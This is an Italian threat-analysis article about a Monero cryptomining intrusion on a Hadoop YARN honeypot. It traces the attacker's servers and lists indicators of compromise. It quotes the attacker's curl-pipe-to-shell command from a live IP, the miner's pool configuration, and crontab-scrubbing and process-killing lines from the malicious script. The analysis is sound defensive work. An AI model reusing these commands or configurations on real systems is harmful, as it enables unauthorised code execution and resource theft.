Cybersecurity (per addetti ai lavori): analisi di una minaccia sui sistemi Hadoop e non solo...

(di The Mole)
06/06/18

AVVISO AI LETTORI: QUESTO ARTICOLO È DESTINATO A PROFESSIONISTI DELLA CYBERSECURITY.

NON RIPRISTINARE I LINK PUBBLICATI!

 

Non ci si rende conto della complessità di alcune materie se non quando ci si scontra, e di solito è troppo tardi.

Per cercare di far capire cosa significhi “cyber”, queste ultime sere mi sono messo al computer e, per scopo didattico, ho creato un ambiente HDFS1 non protetto per capire cosa si potesse verificare in caso di una installazione e configurazione di un ambiente non opportunamente “hardenizzato” ne controllato, ovvero il caso più comune di installazioni eseguite da parte di personale tecnico non specializzato o non particolarmente attento.

Quello che verrà riportato è come vi sia un problema di sicurezza del sistema di gestione delle risorse Hadoop Yarn (accessi non autorizzati nelle API REST2) con cui si può eseguire in remoto del codice arbitrario. Una volta creata l’infrastruttura ho semplicemente atteso lo svilupparsi degli eventi. Dopo una settimana ho constatato che l’infrastruttura creata era stata attaccata e compromessa.

Ho quindi proceduto ad analizzare uno dei casi di compromissione e saranno forniti consigli e soluzioni di sicurezza per ovviare a questo problema.

Il caso scelto è un caso di mining di criptocurrency

Tanto per cominciare vediamo di capire qualcosa di più sulla infrastruttura impiegata come “honeypot3”.

Hadoop è un'infrastruttura di sistema distribuita sviluppata da Apache Foundation, una piattaforma di gestione delle risorse unificata per i sistemi hadoop, il cui ruolo principale è quello di ottenere una gestione unificata e la pianificazione delle risorse del cluster (generalmente usato per gestire dati come una specie di File System distribuito). Il framework di calcolo MapReduce può essere eseguito come un programma applicativo. Sopra si trova il sistema YARN, le risorse sono gestite tramite YARN. In poche parole, un utente può inviare specifici programmi applicativi a YARN per l'esecuzione che possono includere l'esecuzione dei relativi comandi di sistema.

YARN fornisce le API REST, che sono aperte per impostazione predefinita sulle porte 8088 e 8090, per questo motivo, qualsiasi utente, tramite le API possono eseguire l'invio di attività ed altre operazioni in modalità diretta. Se sono configurate in modo errato, le API REST verranno aperte nella rete pubblica (ad esempio su internet, qualora si decida di usare un cluster HDFS su Cloud) e consentiranno l'accesso non autorizzato al sistema creato. In definitiva quindi, la cattiva configurazione fa in modo che qualsiasi malintenzionato possa utilizzare l’infrastruttura per l'esecuzione di comandi remoti, in modo da condurre operazioni di mining4 o altre attività di natura malevola sul sistema.

Perché questo tipo di attività è molto subdola?

Perché difficilmente si inseriscono sistemi di sicurezza all’interno di cluster HDFS o si utilizzano sistemi per abilitare l' autenticazione Kerberos impedendo l'accesso anonimo (upgradando le versioni), oppure avvengono dei controlli di monitoring su di essi, questo perché queste strutture nascono allo scopo di massimizzare le prestazioni di un sistema utilizzato per far girare query ed analytics già di per se dispendiosi dal punto di vista computazionale.

Passi dell’attività malevola riscontrata

  1. Analisi dell’intrusione

Sulla macchina usata come esca è stato istallato e configurato in default mode Hadoop YARN, questo comporta di per se un problema di sicurezza di accesso non autorizzato al sistema. L’intruder utilizza direttamente l'API REST aperta sulla porta 8088, dopo che un crawler5 identifica specificatamente un set di porte aperte pre-configurate da parte dell’esecutore. A questo punto, l’intruder potrà inviare comandi di esecuzione per scaricare ed eseguire uno script6 .sh nel server (in allegato 1 l’intero script ritrovato, cr.sh). Ulteriori download avvieranno successivamente il processo di mining.

L'intero processo è relativamente semplice e ben strutturato e si può notare leggendo lo script che nulla viene lasciato al caso, come ad esempio alcuni controlli che vengono eseguiti sul server Hadoop ospite.

Interessante il comando trovato ed eseguito:

exec / bin / bash -c "curl 185.222.210.59/cr.sh | sh & disown"

Mi soffermo su questo comando per mettere in evidenza due aspetti molto importanti ovvero l’indirizzo IP da cui viene scaricato lo script e alcune attività che servono a mascherare le attività malevole7.

Se si prosegue nell’analisi del codice all’interno dello script cr.sh è facile notare che l’autore dello stesso ha posto particolare attenzione nell’eliminare le tracce delle attività compiute8.

A questo punto, in sintesi, si può dire che l'intero script è molto dettagliato e sembra che ogni funzione sia nidificata e chiamata, molti file sono coinvolti coinvolti nell’intero processo, per cui possiamo riportare i passi principali secondo la scaletta seguente:

  1. Pulisci i processi, i file e le attività di crontab correlati;

  2. Giudica e scarica il programma di mining, verificare il valore MD5 allo stesso tempo, oltre al server controllato, utilizzare anche https://  transfer.sh per fornire il download di backup;

  3. Aggiunge attività di esecuzione del download dello script in crontab.

Gli indicatori principali che sono emersi dall’analisi sono i seguenti:

  • 185.222.210.59;

  • cr.sh

  • MD5 check c8c1f2da51fbd0aea60e11a81236c9dc | 5110222de7330a371c83af67d46c4242

  • http:// 185.222.210.59/re.php

  • xmrig_64 o xmrig_32

Verificheremo con un ciclo OSINF9 gli indicatori di cui sopra.

 

  1. 185.222.210.59

Cerchiamo di verificare le origini di questo indirizzo IP. In figura sottostante vengono riportati i campi principali in rilievo:

In alcuni forum10 di produttori/società di rilascio piattaforme basate su HDFS, viene riportato l’indirizzo IP e la stringa esatta ritrovata anche all’interno del nostro script, chiedendo spiegazioni in merito. In alcuni casi si chiede se è una configurazione standard. Il tutto grazie ad alcuni amministratori di HDFS che eseguono controlli a mano e aperiodici, non vi è alcun automatismo.

Andando a verificare, il funzionamento del server, si ottiene quanto segue:

Basic Information



OS

Debian

Protocols

80/HTTP e 22/SSH

  • 80/HTTP



GET /

Server

Apache httpd 2.4.10

Status Line

200 OK

Page Title

Apache2 Debian Default Page: It works

GET /

  • 22/SSH



SSHv2 Handshake

Server

OpenSSH 6.7p1

Banner

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3

Host Key

Algorithm

ecdsa-sha2-nistp256

Fingerprint

5a5c81f8dbc3e3d9fc57557691912a75b3be0d42ea5b30a2e7f1e584cffc5f40

Negotiated Algorithm

Key Exchange

curve25519-  sha256@  libssh  .org

Symmetric Cipher

aes128-ctr | aes128-ctr

MAC

hmac-sha2-256 | hmac-sha2-256

Si è anche verificato che esiste la porta 111 aperta che corrisponde al servizio di portmap. Pertanto dal lato server si trova il portmapper in ascolto sulla porta 111 (portmapper), dal lato client ci sono una serie di programmi che, per un qualunque servizio RPC11, devono prima interpellare il portmapper remoto il quale fornisce loro le informazioni necessarie a stabilire una connessione con il daemon competente. Si potrebbe anche verificare una eventuale vulnerabilità presente nel servizio, ma non è oggetto della ricerca e dell’attività di analisi.

Quindi il server in questione è “connesso” e probabilmente mantenuto tramite la porta 22 con il protocollo ssh, che ne garantisce la connessione crittografata. Dal campo 22.ssh.v2.server_host_key.fingerprint_sha256, cioè dalla fingerprint del ssh del server, le ricerche evidenziano che non ne esistono altri.

Si riporta anche come nel 80.http.get.headers.last_modified venga riportata la data di Wed, 16 May 2018 14:58:53 GMT

Il server appartiene alla disponibilità di indirizzamento della società di PRISM BUSINESS SERVICES LTD, che dal sito principale http://  www.  prismbusiness.co.uk/about-us/ risulta non avere a che fare con attività inerenti il settore tecnico del ICT, bensì in altri campi. Qualora abbiano attivi dei server in un contesto cloud, magari configurati e/o comunque gestiti all’uopo quando serva, potrebbero risultare inconsapevoli del loro utilizzo attuale.

Si riporta l’intera net di loro disponibilità:

Non vi è risoluzione DNS sull’IP analizzato.

  1. cr.sh

Lo script cr.sh che è stato analizzato ha il seguente MD5 48e79f8de26fa56d955a28c2de493132, non vi sono comunque evidenze di indicizzazioni su internet.

 

  1. MD5 check c8c1f2da51fbd0aea60e11a81236c9dc | 5110222de7330a371c83af67d46c4242

Gli MD5 riportati, corrispondono ai file scaricati durante l’esecuzione dello script e sono riportati in tabella sottostante:



Nome File

MD5

xmrig_64

c8c1f2da51fbd0aea60e11a81236c9dc

xmrig_32

5110222de7330a371c83af67d46c4242

I file sopra riportati risultano essere il core dell’esecuzione del Proof of Work (PoW) di una cryptocurrency ben nota, si tratta infatti di Monero.

  1. https://  transfer.sh/ixQBE/zzz

Interessante l’utilizzo di transfer.sh, che risulta essere una Tactics, Techniques and Procedures (TTPs) del comportamento di questo intruder, che ottiene in questo modo un back-up per i download degli eseguibili di data mining.

Infatti si è ritrovato che transfer.sh non è altro che condivisione di file semplice e veloce dalla riga di comando. Questo codice contiene il server con tutto il necessario per creare la propria istanza”, il tutto disponibile per il download in https://  github.com/dutchcoders/transfer.sh e su un sito internet https://  transfer.sh/ dove vi sono le spiegazioni di utilizzo con use case per poterlo facilmente integrare e configurare. Il processo di code reuse è ad oggi molto utilizzato sia in contesti di Cyber Crime che di contesti molto più ampi di Cyber Espionage o Cyber Intelligenge.

  1. http://  185.222.210.59/g.php

La pagina oggi, 02 giugno 2018, risponde con un indirizzo IP 95.142.40.81, mentre all’epoca del ritrovamento dello script l’indirizzo IP visualizzato era il 46.30.42.162. Entrambi hanno lo stesso comportamento, inseriti come variabile f1, dopo i controlli eseguiti con getconf LONG_BIT, avviene il download degli eseguibili xmrig_64 o xmrig_32. Ovviamente questo gli permette, qualora rinvenuto malevole un primo indirizzo IP, ma non l’IP di controllo e gestione 185.222.210.59, di rendere inutili alcuni controlli di sicurezza come le Blacklist da Firewall, categorizzazioni non granulari di Websense o warning di SIEM a disposizione di un SOC.

Vediamo se possiamo ricavare qualcosa dai due indirizzi IP:

46.30.42.162

L’indirizzo risulta nelle disponibilità di Eurobyte VPS, e l’indirizzamento porta una classe di indirizzi barra 24 nella disponibilità di questo Hosting, che risulta di origini russe.

Anche questo server, risulta avere le porte 22 e 80 aperte, con Sistema Operativo Debian.

Di seguito i dettagli ritrovati:

Basic Information



OS

Debian

Network

MCHOST — AS (RU)

Routing

46.30.42.0/24 via AS7018 , AS3356 , AS35415 , AS48282

Protocols

80/HTTP e 22/SSH

  • 80/HTTP



GET /

Server

Apache httpd 2.4.10

Status Line

200 OK

Page Title

Apache2 Debian Default Page: It works

GET /

  • 22/SSH



SSHv2 Handshake

Server

OpenSSH 6.7p1

Banner

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3

Host Key

Algorithm

ecdsa-sha2-nistp256

Fingerprint

3e88599d935de492c07f93e313201aa340b7ff0a5f66a330a0c5ab660cf95fad

Negotiated Algorithm

Key Exchange

curve25519-  sha256@  libssh  .org

Symmetric Cipher

aes128-ctr | aes128-ctr

MAC

hmac-sha2-256 | hmac-sha2-256

Si fa notare come una ricerca basata sul Fingerprint del Host Key, evidenzia che esistono altri 41 server con la stessa firma. Di questi 41 server, anche il nuovo indirizzo IP 95.142.40.81 risulta nelle disponibilità dell’intruder.

Con questo dato si può ipotizzare con buona probabilità di aver trovato un pool di primo livello dell’infrastruttura di questo singolo intruder o gruppo di Cyber Crime.

Si riportano gli indirizzamenti e eventuali informazioni utili ad attività successive:

 



95.142.40.74 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 80/http

location.country: Russia

185.154.53.249 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 143/imap, 587/smtp, 80/http

location.country: Russia

95.142.40.89 (vz229526.eurodir.ru)

AS (48282) Russia
Debian 80/http

location.country: Russia

95.142.40.190 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 80/http

location.country: Russia

95.142.40.189 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 80/http

location.country: Russia

46.30.47.115 (vz227413.eurodir.ru)

AS (48282) Russia
Debian 22/ssh, 587/smtp

location.country: Russia

95.142.39.241 (shimshim.info)

AS (48282) Russia
Debian 3306/mysql, 8888/http

location.country: Russia

database mysql

95.142.40.188 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 80/http

location.country: Russia

46.30.41.207 (vz230806.eurodir.ru)

AS (48282) Russia
Debian 587/smtp

location.country: Russia

46.30.41.182 (vz230501.eurodir.ru)

AS (48282) Russia
Debian 443/https, 587/smtp
HY

location.country: Russia

95.142.39.251 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 143/imap, 443/https, 80/http
*.vps.eurobyte.ru

location.country: Russia

185.154.53.67 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 25/smtp, 80/http

location.country: Russia

185.154.53.65 (profshinservice.ru)

AS (48282) Russia
Debian 443/https, 80/http
profshinservice.ru, www.  profshinservice.ru

location.country: Russia

46.30.45.91 (vz220153.eurodir.ru)

AS (48282) Russia
Debian 443/https, 53/dns
celsiumoftesla.tk, www.  celsiumoftesla.tk

location.country: Russia

185.154.53.46 (server.badstudio.ru)

AS (48282) Russia
Debian 443/https, 587/smtp, 80/http
403 Forbidden apple-remont24.ru, www.  apple-remont24.ru

location.country: Russia

46.30.41.80 (track.dev)

AS (48282) Russia
Debian 80/http, 8080/http
Document

location.country: Russia

46.30.45.152 (vz230274.eurodir.ru)

AS (48282) Russia
Debian 587/smtp, 80/http
TREZOR Wallet

location.country: Russia

185.154.53.72 (vz231895.eurodir.ru)

AS (48282) Russia
Debian 110/pop3, 25/smtp, 443/https, 587/smtp
vps1.dev.eurobyte.ru

location.country: Russia

185.154.53.137 (vz224405.eurodir.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 443/https, 53/dns, 80/http, 993/imaps, 995/pop3s
На реконструкции... www.  undergod.ru, undergod.ru

location.country: Russia

95.142.39.151 (donotopen.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 53/dns, 80/http, 993/imaps, 995/pop3s
donotopen.ru — Coming Soon

location.country: Russia

database mysql

185.154.52.117 (vz230686.eurodir.ru)

AS (48282) Russia
Debian 80/http
Главная страница

location.country: Russia

46.30.47.157 (vz228859.eurodir.ru)

AS (48282) Russia
Debian 587/smtp, 80/http
Apache2 Debian Default Page: It works

location.country: Russia

95.142.40.83 (vz228857.eurodir.ru)

AS (48282) Russia
Debian 80/http
Apache2 Debian Default Page: It works

location.country: Russia

95.142.40.86 (kolos1952.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 53/dns, 80/http, 993/imaps, 995/pop3s
4 300 y.e.

location.country: Russia

database mysql

95.142.40.81 (vz228855.eurodir.ru)

AS (48282) Russia
Debian 80/http
Apache2 Debian Default Page: It works

location.country: Russia

46.30.42.162 (server.com)

AS (48282) Russia
Debian 80/http
Apache2 Debian Default Page: It works

location.country: Russia

95.142.40.82 (vz228856.eurodir.ru)

AS (48282) Russia
Debian 80/http
Apache2 Debian Default Page: It works

location.country: Russia

46.30.43.128 (vz228757.eurodir.ru)

AS (48282) Russia
Debian 80/http
Apache2 Debian Default Page: It works

location.country: Russia

185.154.52.236 (supportt.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 53/dns, 80/http, 993/imaps, 995/pop3s
4 300 y.e.

location.country: Russia

database mysql

95.142.39.109 (vz228627.eurodir.ru)

AS (48282) Russia
Debian 80/http
Apache2 Debian Default Page: It works

location.country: Russia

95.142.40.44 (vz229990.eurodir.ru)

AS (48282) Russia
Debian 80/http
Apache2 Debian Default Page: It works

location.country: Russia

95.142.39.164 (vz232259.eurodir.ru)

AS (48282) Russia
Debian 143/imap, 25/smtp, 587/smtp, 80/http
Home

location.country: Russia

46.30.45.30 (shop.engine)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 53/dns, 80/http, 993/imaps, 995/pop3s
Начальный макет Интернет-магазина

location.country: Russia

95.142.39.172 (hosted-by.wikhost.com)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 443/https, 53/dns, 80/http, 993/imaps, 995/pop3s
Hosted by: WikHost.com wikhost.com, www.  wikhost.com

location.country: Russia

database mysql

185.154.52.161 (piar60.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 53/dns, 80/http, 993/imaps, 995/pop3s
4 300 y.e.

location.country: Russia

database mysql

95.142.40.87 (regiister.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 53/dns, 80/http, 993/imaps, 995/pop3s
4 300 y.e.

location.country: Russia

database mysql

95.142.40.88 (buled.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 53/dns, 80/http, 993/imaps, 995/pop3s
4 300 y.e.

location.country: Russia

database mysql

185.154.53.190 (vz228963.eurodir.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 3306/mysql, 53/dns, 80/http, 993/imaps, 995/pop3s
Apache2 Debian Default Page: It works

location.country: Russia

database mysql

46.30.41.51 (vz225213.eurodir.ru)

AS (48282) Russia
Debian 80/http
Document

location.country: Russia

185.154.53.108 (vz224405.eurodir.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 443/https, 53/dns, 80/http, 993/imaps, 995/pop3s
Экомониторинг, системы мониторинга объектов – НПК МИР. Тел: +7 (812) 317-18-30 npkmir.ru, www.  npkmir.ru

location.country: Russia

185.154.52.181 (vz224405.eurodir.ru)

AS (48282) Russia
Debian 110/pop3, 143/imap, 21/ftp, 443/https, 53/dns, 587/smtp, 80/http, 993/imaps, 995/pop3s
Экомониторинг, системы мониторинга объектов – НПК МИР. Тел: +7 (812) 317-18-30 npkmir.ru, www.  npkmir.ru

location.country: Russia

Questi invece i metadati riguardanti l’analisi dei 41 IP sopra riportati:

Tutti gli indirizzamenti trovati, fanno capo al AS MCHOST-AS, RU:

1-th Street Frezernaiy, 2/1 stroenie 10
109202 Moscow
RUSSIAN FEDERATION

phone: +7 495 6738456
fax: +7 495 6738456
e-mail: info (at) mchost (dot) ru

Areas serviced: RU

  1. http://  185.222.210.59/w.conf

Oggi:

{

"algo": "cryptonight",

"background": true,

"colors": false,

"retries": 5,

"retry-pause": 5,

"donate-level": 1,

"syslog": false,

"log-file": null,

"print-time": 60,

"av": 0,

"safe": false,

"max-cpu-usage": 95,

"cpu-priority": 4,

"threads": null,

"pools": [

{

"url": "stratum+tcp://46.30.43.159:80",

"user": "h",

"pass": "h",

"keepalive": true,

"nicehash": false,

"variant": -1

}

],

"api": {

"port": 0,

"access-token": null,

"worker-id": null

}

}

Nel momento del ritrovamento dello script:

{

"algo": "cryptonight",

"background": true,

"colors": false,

"retries": 5,

"retry-pause": 5,

"donate-level": 1,

"syslog": false,

"log-file": null,

"print-time": 60,

"av": 0,

"safe": false,

"max-cpu-usage": 95,

"cpu-priority": 4,

"threads": null,

"pools": [

{

"url": "stratum+tcp://179.60.146.10:5556",

"user": "h",

"pass": "h",

"keepalive": true,

"nicehash": false,

"variant": -1

},

{

"url": "stratum+tcp://46.30.43.159:80",

"user": "h",

"pass": "h",

"keepalive": true,

"nicehash": false,

"variant": -1

}

],

"api": {

"port": 0,

"access-token": null,

"worker-id": null

}

}

Importante sottolineare come il file di conf definisca due indicatori importanti per la fase di analisi (possiamo anche definirne tre):

  • stratum+tcp://46.30.43.159:80 (in comune in date differenti);

  • stratum+tcp://179.60.146.10: 5556 (solo nel primo ritrovamento);

  • "algo": "cryptonight";

Analizziamo prima IP in comune 46.30.43.159. Questo indirizzo IP, nella disponibilità di Eurobyte VPS, Russo, ha come PTR vz230703.eurodir.ru e fa parte di una net 46.30.43.0/24. I PTR degli IP della net, in allegato 1 si riporta l’intera classe, hanno qualcosa di particolare. Riporto nella tabella sottostante i PTR con similitudine senza il campo A, sono 41:



IP

PTR

46.30.43.13

vz94180.eurodir.ru

46.30.43.17

vz203045.eurodir.ru

46.30.43.21

vz206109.eurodir.ru

46.30.43.23

vz216100.eurodir.ru

46.30.43.24

vz174272.eurodir.ru

46.30.43.30

vz35015.eurodir.ru

46.30.43.57

vz78210.eurodir.ru

46.30.43.58

vz229754.eurodir.ru

46.30.43.61

vz35015.eurodir.ru

46.30.43.64

vz38207.eurodir.ru

46.30.43.66

vz86195.eurodir.ru

46.30.43.70

vz173527.eurodir.ru

46.30.43.77

vz174931.eurodir.ru

46.30.43.79

vz195563.eurodir.ru

46.30.43.82

vz197086.eurodir.ru

46.30.43.90

vz120816.eurodir.ru

46.30.43.93

vz173527.eurodir.ru

46.30.43.98

vz94065.eurodir.ru

46.30.43.101

vz216360.eurodir.ru

46.30.43.102

vz195005.eurodir.ru

46.30.43.123

vz212299.eurodir.ru

46.30.43.128

vz228757.eurodir.ru

46.30.43.130

vz168899.eurodir.ru

46.30.43.156

vz195735.eurodir.ru

46.30.43.159

vz230703.eurodir.ru

46.30.43.161

vz171964.eurodir.ru

46.30.43.166

vz123353.eurodir.ru

46.30.43.170

vz224733.eurodir.ru

46.30.43.172

vz226924.eurodir.ru

46.30.43.184

vz171966.eurodir.ru

46.30.43.186

vz162078.eurodir.ru

46.30.43.214

vz207073.eurodir.ru

46.30.43.219

vz110518.eurodir.ru

46.30.43.224

vz98980.eurodir.ru

46.30.43.226

vz100250.eurodir.ru

46.30.43.229

vz110562.eurodir.ru

46.30.43.232

vz228251.eurodir.ru

46.30.43.237

vz162078.eurodir.ru

46.30.43.244

vz207073.eurodir.ru

46.30.43.245

vz174272.eurodir.ru

46.30.43.246

vz157495.eurodir.ru

Anche in questo caso, il gestore potrebbe non essere a conoscenza che alcuni di questi server sotto la sua disponibilità, vengono utilizzati per fini terzi, comunque andrebbero analizzati uno per uno, per riscontrare ulteriori similitudini.

Analizzando il 179.60.146.10, invece si ha quanto segue:

ECDSA key fingerprint is SHA256:62Jyi3X1dEJRIH85kJ0Ee20aW+PEK5g976Xk3yGKVHQ

Porta 22, 111, 5555 risultano open ed anche questo server utilizza OpenSSHVersion: 6.7p1 Debian 5+deb8u3

Purtroppo non si hanno altre evidenze.

Cryptonight invece, è un indicatore forte di quello che si vuole fare, una volta colpito il target. Nello specifico lo scopo risulta essere quello di minare i blocchi della cryptocurrency di Monero, immettendo il target all’interno di un pool a disposizione dell’intruder. La scelta non è casuale. Il protocollo Cryptonight è stato studiato per essere adottato da miner che non hanno la disponibilità di avere ASIC o cluster di schede grafiche molto costose, bensi si possono utilizzare le classiche CPU di PC, Notebook o MiniPC.

Infatti, il CryptoNight è utilizzato per il mining di quelle monete caratterizzate dal protocollo CryptoNote. È una funzione strettamente vincolata alla memoria (memory hard hash), in questo caso alla memoria cache di terzo livello delle CPU in quanto incentrata sulla latenza. Tale vincolo è stato imposto per rendere il CryptoNight poco efficiente su sistemi quali GPU ed FPGA, non dotati di memoria cache e dunque svantaggiati all’utilizzo dell’algoritmo.

Le dimensioni dello scratchpad del CryptoNight sono di circa 2 MB di memoria per ogni istanza a causa delle seguenti ragioni:

  1. può essere contenuto nelle cache L3 (per core) dei processori moderni;

  2. una memoria interna di un megabyte è una dimensione inaccettabile per la pipeline degli ASIC tradizionali;

  3. le GPU possono eseguire centinaia di thread ma hanno una latenza decisamente peggiore della cache L3 delle CPU moderne;

  4. una significativa espansione dello scratchpad richiederebbe un aumento delle interazioni. Se un nodo spendesse un considerevole intervallo di tempo sull’hash di un blocco, potrebbe essere facilmente inondato con un meccanismo di flooding di falsi blocchi causando un DDoS.

Upgrade

Proprio in questi giorni, vi è stata una modifica dello script cr.sh, dei file di configurazione e degli eseguibili.

Il download degli eseguibili per il data mining si ottiene dall’indirizzo IP 95.142.40.83, che ha portato a identificare tramite il fingerprint della chiave ssh, ulteriori indirizzi IP a disposizione dell’intruder.

Nella tabella sottostante si riportano i dettagli di 20 su 65 indirizzi IP, poiché non si ha la possibilità di ottenerli tutti in blocco (scarsità di tempo ed account a pagamento non disponibili) con le medesime chiavi ssh e le medesime configurazioni.



95.142.39.233 vz231616.eurodir.ru

McHost.Ru

Added on 2018-06-03 03:44:26 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.43.128 vz228757.eurodir.ru

EuroByte LLC

Added on 2018-06-03 03:35:03 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.47.107 vz227413.eurodir.ru

EuroByte LLC

Added on 2018-06-03 03:15:02 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.41.182 vz230501.eurodir.ru

EuroByte LLC

Added on 2018-06-02 21:01:28 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.47.21 vz227411.eurodir.ru

Linux 3.x

EuroByte LLC

Added on 2018-06-02 16:48:39 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

95.142.40.188 vz232259.eurodir.ru

McHost.Ru

Added on 2018-06-02 12:58:55 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.45.30 shop.engine

EuroByte LLC

Added on 2018-06-02 09:45:16 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

95.142.40.81 vz228855.eurodir.ru

McHost.Ru

Added on 2018-06-02 07:11:32 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

185.154.53.137 vz224405.eurodir.ru

EuroByte LLC

Added on 2018-06-02 07:04:48 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.47.82 vz227413.eurodir.ru

EuroByte LLC

Added on 2018-06-02 04:55:14 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

185.154.53.67 vz232259.eurodir.ru

EuroByte LLC

Added on 2018-06-02 03:45:39 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

95.142.40.87 regiister.ru

McHost.Ru

Added on 2018-06-01 22:04:23 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.47.66 vz227407.eurodir.ru

EuroByte LLC

Added on 2018-06-01 18:17:26 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

185.154.52.236 supportt.ru

EuroByte LLC

Added on 2018-06-01 11:27:17 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.47.35 vz227411.eurodir.ru

Linux 3.x

EuroByte LLC

Added on 2018-06-01 11:07:16 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

185.154.53.46 server.badstudio.ru

EuroByte LLC

Added on 2018-06-01 07:22:23 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

95.142.40.89 vz229526.eurodir.ru

McHost.Ru

Added on 2018-05-31 14:07:45 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

46.30.42.162 server.com

EuroByte LLC

Added on 2018-05-31 12:56:26 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

95.142.39.102 vz222177.eurodir.ru

McHost.Ru

Added on 2018-05-31 10:05:30 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

95.142.40.86 kolos1952.ru

McHost.Ru

Added on 2018-05-31 09:42:31 GMT Russian Federation

SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4

Key type: ssh-rsa

Si riportano alcuni grafici di dettaglio:

Inoltre i file scaricabili risultano essere i seguenti:



Nome File

MD5

xm64

183664ceb9c4d7179d5345249f1ee0c4

xm32

b00f4bbd82d2f5ec7c8152625684f853

Oltre a quanto sopra, nello script, sono presenti i seguenti comandi:

pkill -f logo4.jpg

pkill -f logo0.jpg

pkill -f logo9.jpg

pkill -f jvs

pkill -f javs

pkill -f 192.99.142.248

rm -rf /tmp/pscd*

rm -rf /var/tmp/pscd*

crontab -l | sed '/192.99.142.232/d' | crontab -

crontab -l | sed '/192.99.142.226/d' | crontab -

crontab -l | sed '/192.99.142.248/d' | crontab -

crontab -l | sed '/logo4/d' | crontab -

crontab -l | sed '/logo9/d' | crontab -

crontab -l | sed '/logo0/d' | crontab –

Si evince subito l’uso del comando sed, non frequente nella programmazione, pertanto anch’esso potrebbe finire tra le TTPs utilizzate dall’attore ostile.

Sed è uno stream editor, utilizzato per eseguire trasformazioni di testo su un flusso di input (un file o un input da una pipeline); è la capacità di sed di filtrare il testo in una pipeline che lo distingue in modo particolare da altri tipi di editor.

In questo contesto viene utilizzato per eliminare qualsiasi traccia dalle attività di cron. Probabilmente, vi sono delle attività di intrusione non note all’analisi, poiché derivate da attività passate che poi sono mutate per l’ottenimento di quanto aspettato.

Facendo un’analisi degli indirizzi IP 192.99.142.232, 192.99.142.226, 192.99.142.248, si ottiene che la compagnia (ISP) di riferimento è OVH Hosting con ubicazione in Canada.

Tutti hanno connettività sulla porta 22, ssh. Se si considerano però come indirizzi IP di natura malevola, per esempio riferendosi a quanto riportato nel link https://www.   joesandbox.com/index.php/analysis/49178/0/executive , dove viene dichiarato un utilizzo di powershell, arricchendo la ricerca si verifica che l’indirizzo IP 192.99.142.232 ha la stessa fingerprint del IP 85.214.102.143 localizzato in Germania nelle disponibilità del ISP Strato AG. L’indirizzo ha però un certificato 443.https.tls.certificate.parsed.fingerprint_sha1: 78e477a2406935666a2eac4e44646d2ffe0a6d9b che lo lega anche ai seguenti IP: 85.214.125.15 (emma.smartmessaging.com) OS Debian, e al IP 85.214.60.153 (meters.busware.de) OS Debian.




From

To Fingerprint ssh

Fingerprint tls

192.99.142.232

85.214.102.143

85.214.125.15

85.214.60.153

Per quanto riguarda IP 192.99.142.248, si riporta alla figura sottostante, che rileva quanto finora espresso nel documento.

Non si possiedono dettagli significativi per l’altro indirizzo IP 192.99.142.226

Consigli sulla sicurezza

  1. Usare la parte superiore per vedere il processo e uccidere il processo anormale.

  2. Controllare le directory /tmp e /var/tmp ed elimina i file come java, ppc, ppl3, config.json e w.conf

